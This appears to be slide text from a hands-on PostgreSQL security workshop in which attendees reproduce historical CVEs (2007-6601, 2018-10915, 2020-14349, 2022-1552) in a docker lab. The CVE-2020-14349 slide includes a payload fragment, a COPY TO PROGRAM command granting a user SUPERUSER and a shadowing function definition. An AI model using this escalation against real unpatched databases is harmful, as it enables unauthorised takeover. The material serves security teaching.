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▌https://github.com/x4m/pg_cve_demo 

▌ cd CVE-2007-6601  
▌ docker-compose up 
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About me
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› Apache Cloudberry committer and PPMC member 

› Lead WAL-G, Odyssey, SPQR and several other project 
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Common Vulnerability Scoring System

6https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator



Common Vulnerability Scoring System
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CVE-2018-10915: tricky connection strings 8.5

Fixed in 10.5, 9.6.9 etc (9 August 2018)
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CVE-2007-6601
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Time to hack!
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If you are slightly stuck when hacking on CVE

debug: 

% docker ps  # to get container ID for next command 

% docker exec -it 85ac6c240e7a /bin/bash 

rebuild: 

% docker system prune -a
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If you are completely stuck

13https://github.com/x4m/pg_cve_demo/commits/main/
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Caveats

▌multiple hosts:   host=192.168.233.3,localhost 
▌multiple ports:    port=5433,5432 
▌tsa:                     target_session_attrs=read-write
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Time to hack!
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CVE-2020-14349: logical replication vs search_path 7.5

Fixed in 12.4, 11.9 etc (13 August 2020)
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20https://github.com/postgres/postgres/commit/11da97024abbe76b8c81e3f2375b2a62e9717c67



Caveats

▌Logical walsender execute queries in READ ONLY transaction 
▌Use COPY in your function to override it: 

▌COPY (SELECT 1) TO PROGRAM '/pg12/postgres/bin/psql -c 
"ALTER USER user1 WITH SUPERUSER;" postgres'; 

▌CREATE FUNCTION public.pg_get_replica_identity_index(int) 
▌	  RETURNS regclass LANGUAGE sql AS 'SELECT 1/0' 
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Time to hack!
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CVE-2022-1552: unsafe maintanance 8.8

Fixed in 14.3, 13.7, 12.11,11.16,10.21 (12 May 2022)
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24https://github.com/postgres/postgres/commit/a117ceb



Caveats

▌Do not forget to mark function volatile 
▌alter function ifun volatile; 
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Time to hack!
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x4mmm

x4mmm @yandex-team.ru

Let's hack together ☺

Andrey Borodin

PostgreSQL contributor


